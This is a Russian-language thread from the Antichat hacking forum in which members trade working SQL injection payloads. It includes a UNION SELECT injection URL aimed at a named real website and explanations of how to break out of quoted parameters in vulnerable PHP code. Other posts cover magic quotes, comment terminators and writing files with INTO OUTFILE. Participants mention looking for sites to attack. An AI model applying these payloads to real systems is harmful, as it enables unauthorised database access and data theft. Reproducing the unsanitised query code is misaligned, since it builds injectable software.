
16.01.2010, 11:27
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
как то так
alyans-pr.ru/news/id-(-28)union(select(1),2,version(),4,5,6,7).html
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

16.01.2010, 11:32
|
|
Новичок
Регистрация: 09.01.2009
Сообщений: 21
С нами:
9124815
Репутация:
10
|
|
Спасибо, блин что-то я туплю, не выспался видать, про скобочки совсем забыл. Все равно, ветка четвертая, лениво ковырять, пойду искать что-нить поприличнее.
|
|
|

16.01.2010, 14:37
|
|
Banned
Регистрация: 28.12.2009
Сообщений: 30
С нами:
8615506
Репутация:
0
|
|
Подскадите пожалуйста. Ума не приложу
Вот код:
PHP код:
include("config.php");
$response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
$result=mysql_fetch_array($response);
...
echo "
<table width=\"100%\">
<tr><th>".$result['title']."</th></tr>
<tr><td><img src=".$result['image']." width=200><br>".$result['text']."</td></tr>
</table><br>
";
Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
|
|
|

16.01.2010, 14:55
|
|
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
С нами:
11114426
Репутация:
129
|
|
Сообщение от Серёжа393
Подскадите пожалуйста. Ума не приложу
Вот код:
PHP код:
include("config.php");
$response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
$result=mysql_fetch_array($response);
...
echo "
<table width=\"100%\">
<tr><th>".$result['title']."</th></tr>
<tr><td><img src=".$result['image']." width=200><br>".$result['text']."</td></tr>
</table><br>
";
Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
Запрос то ты какой передаешь страннице?Напиши его пожалуйста, т.к без него тебе вряд ли помогут разобраться с ошибкой, а могут написать готовое решение ... получив его, знаний полученных в итоге будет 0. А ошибку тебе разберут,объяснят и подскажут почему было не правильно ... я думаю с этого будет больший толк.
|
|
|

16.01.2010, 15:24
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Сообщение от Серёжа393
Подскадите пожалуйста. Ума не приложу
Вот код:
PHP код:
include("config.php");
$response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
$result=mysql_fetch_array($response);
...
echo "
<table width=\"100%\">
<tr><th>".$result['title']."</th></tr>
<tr><td><img src=".$result['image']." width=200><br>".$result['text']."</td></tr>
</table><br>
";
Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
Наеврное просто магические кавычки включены,что мозги то трахать людям ^_^
|
|
|

16.01.2010, 17:38
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
Сообщение от Серёжа393
Подскадите пожалуйста. Ума не приложу
Вот код:
PHP код:
include("config.php");
$response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
$result=mysql_fetch_array($response);
...
echo "
<table width=\"100%\">
<tr><th>".$result['title']."</th></tr>
<tr><td><img src=".$result['image']." width=200><br>".$result['text']."</td></tr>
</table><br>
";
Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
http://site.ru/script.php?id=-1'+union+select+1,2,3,4+--+
Будет работать при mq=off
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
Когда стоят кавычки '', запрос получается:
PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1+union+select+1,3,4+--+'");
php вернет ошибку из-за незакрытой кавычки. Нужно закрыть кавычку и делать запрос:
PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1' union select 1,2,3,4+--+'");
Читай: http://forum.antichat.ru/thread19844.html
Последний раз редактировалось .:[melkiy]:.; 15.02.2010 в 01:00..
|
|
|

17.01.2010, 13:43
|
|
Banned
Регистрация: 28.12.2009
Сообщений: 30
С нами:
8615506
Репутация:
0
|
|
Сообщение от .:[melkiy]:.
http://site.ru/script.php?id=-1'+union+select+1,2,3,4+--+
Будет работать при mq=off
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
Когда стоят кавычки '', запрос получается:
PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1+union+select+1,3,4+--+'");
MySql вернет ошибку из-за незакрытой кавычки. Нужно закрыть кавычку и делать запрос:
PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1' union select 1,2,3,4+--+'");
Читай: http://forum.antichat.ru/thread19844.html
Спасибо, помогло. понял. постате ему +.
А теперь расскажите пожалуйста, почему так работает
Код:
.php?id=-1'+union+select+1,version(),3,4,5,6,7,8+--+
а так нет
Код:
.php?id=-1'+union+select+1,version(),3,4,5,6,7,8--
т.е. как влияют плюсики??
Последний раз редактировалось Серёжа393; 17.01.2010 в 14:06..
|
|
|

16.01.2010, 14:56
|
|
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
С нами:
11114426
Репутация:
129
|
|
Сообщение от Strilo4ka
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
как она здесь пройдет тут екранировать то надо в коде двойные кавычки или слешами...
Пройдет и очень просто ... при
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET."");
id = 3 union select 1,2,3,4,5/* вот и весь запрос ... кавычки даже не к чему.
|
|
|

16.01.2010, 16:17
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
С нами:
9898501
Репутация:
257
|
|
Вопросец, если через site.ru/phpmyadmin/ делать into outfile 'temp.txt', то куда по дефолту может скидываться файл, нету подручных средств чтобы проверить.
|
|
|

16.01.2010, 16:35
|
|
Новичок
Регистрация: 25.12.2009
Сообщений: 10
С нами:
8619984
Репутация:
30
|
|
Сообщение от v1d0qz
Вопросец, если через site.ru/phpmyadmin/ делать into outfile 'temp.txt', то куда по дефолту может скидываться файл, нету подручных средств чтобы проверить.
Если указать слэш перед названием, то зальется в корень, а если не указывать, как у тебя в примере, то он скорее всего зальется туда, где хранятся записи самого мускула, вот тебе резалт теста на локалхосте:
Запрос:
SELECT * FROM injection.uzaz INTO OUTFILE '/dump.txt'
Итоговое расположение:
[DISK]:\usr\local\mysql5\data\injection
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|